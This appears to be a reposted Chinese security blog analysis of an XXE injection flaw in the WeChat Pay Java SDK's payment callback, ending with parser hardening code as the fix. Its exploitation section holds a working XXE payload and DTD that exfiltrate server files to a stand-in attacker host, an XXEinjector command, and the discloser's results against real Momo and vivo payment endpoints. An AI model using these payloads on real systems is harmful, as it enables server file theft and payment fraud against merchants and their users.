微信支付SDK开发组件漏洞

2018年7月2日,Rose Jackcode在packetstormsecurity披露WeChat Pay SDK XXE Injection漏洞。该漏洞产生位置位于微信的XML处理功能函数,微信在JAVA版本的SDK中提供callback回调功能,用来帮助商家接收异步付款结果。该接口主体为提供了webservice接口服务,并且接受XML格式的数据,攻击者可以构造恶意的回调数据(XML格式)来窃取商家服务器上的任何信息。

该漏洞可能导致商家服务器敏感信息(包括用户订单,用户私人数据等)泄露,甚至可以获取相关密钥数据(md5-key和merchant-id等)从而伪造支付数据包绕过付费环节。该批露文档中已经成功利用自动化工具读取了陌陌、vivo等互联网公司的数据信息。

0x02 漏洞分析

安装包位置: https://pay.weixin.qq.com/wiki/doc/api/download/WxPayAPI_JAVA_v3.zip

漏洞位置在: java-sdk-v3/src/main/java/com/github/wxpay/sdk/WXPayUtil.java , 第42行:

微信支付SDK开发组件漏洞

这里很明显存在 xxe 漏洞,直接用 parse 解析传入的 xml 格式文本。

readme.md 文件中,明确说明了这个方法是要起到什么作用。

微信支付SDK开发组件漏洞

从功能来看,主要作用应该是用来接收支付结果,所以一旦攻击者获得了关键支付的安全密钥(md5-key和商家信息,将可以直接实现0元支付购买任何商品)。

当然不止是一个问题,从发现者的twitter来看,似乎还有个反序列化的问题。由于java的反序列化还不熟,回头出了新版本,对比一下补丁,再补吧,或者有大佬发现了,可以和我交流一下,邮箱联系啥联系都行,让我也学习学习。

微信支付SDK开发组件漏洞

0x03 漏洞利用

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
  <!ENTITY % attack SYSTEM "file:///etc/">
  <!ENTITY % xxe SYSTEM "http://attacker:8080/shell/data.dtd";>
  %xxe;
]>

data.dtd:

<!ENTITY % shell "<!ENTITY % upload SYSTEM 'ftp://attack:33/%attack;
'>">
%shell;
%upload;

or use  XXEinjector tool  【https://github.com/enjoiz/XXEinjector】

ruby XXEinjector.rb --host=attacker --path=/etc   --file=req.txt --ssl

req.txt :
POST merchant_notification_url HTTP/1.1
Host:  merchant_notification_url_host
User-Agent: curl/7.43.0
Accept: */*
Content-Length: 57
Content-Type: application/x-www-form-urlencoded

XXEINJECT

0x04 漏洞影响

目前漏洞影响蛮大,最新版本仍然受影响,在github上找到部分之前的源代码,这个问题在2017年2月17日的时候就存在了,尚不清楚这个是不是腾讯官方sdk,但是腾讯的人应该跟进了。

微信支付SDK开发组件漏洞

从披露来看,披露者已经攻击了陌陌和vivo,并获取了一些信息。

momo:

attack:
notify url:    https://pay.immomo.com/weixin/notify
cmd:  /home/

 result:
    logs
    zhang.jiax**
    zhang.shaol**
    zhang.xia**

attack:
notify url:    https://pay.immomo.com/weixin/notify
cmd:  /home/logs

  result:
     moa-service
     momotrace

Vivo:

attack:
notify url:   https://pay.vivo.com.cn/webpay/wechat/callback.oo
cmd: /home/

      result:
		tomcat


attack:
notify url:   https://pay.vivo.com.cn/webpay/wechat/callback.oo
cmd: /home/tomcat

     result:
		.bash_logout
		.bash_profile
		.bashrc
		logs

0x05 漏洞修复

在/java-sdk-v3/src/main/java/com/github/wxpay/sdk/WXPayUtil.java, Line42之前添加如下Feature设置代码。(业务不影响的情况下选其一即可)

FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";
dbf.setFeature(FEATURE, true);

FEATURE = "http://xml.org/sax/features/external-general-entities";
dbf.setFeature(FEATURE, false);
 
FEATURE = "http://xml.org/sax/features/external-parameter-entities";
dbf.setFeature(FEATURE, false);

FEATURE = "http://apache.org/xml/features/nonvalidating/load-external-dtd";
dbf.setFeature(FEATURE, false);

dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);

原文 

http://www.lmxspace.com/2018/07/03/微信支付SDK开发组件漏洞/

本站部分文章源于互联网,本着传播知识、有益学习和研究的目的进行的转载,为网友免费提供。如有著作权人或出版方提出异议,本站将立即删除。如果您对文章转载有任何疑问请告之我们,以便我们及时纠正。

PS:推荐一个微信公众号: askHarries 或者qq群:474807195,里面会分享一些资深架构师录制的视频录像:有Spring,MyBatis,Netty源码分析,高并发、高性能、分布式、微服务架构的原理,JVM性能优化这些成为架构师必备的知识体系。还能领取免费的学习资源,目前受益良多

转载请注明原文出处:Harries Blog™ » 微信支付SDK开发组件漏洞

赞 (0)
分享到:更多 ()

评论 0

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址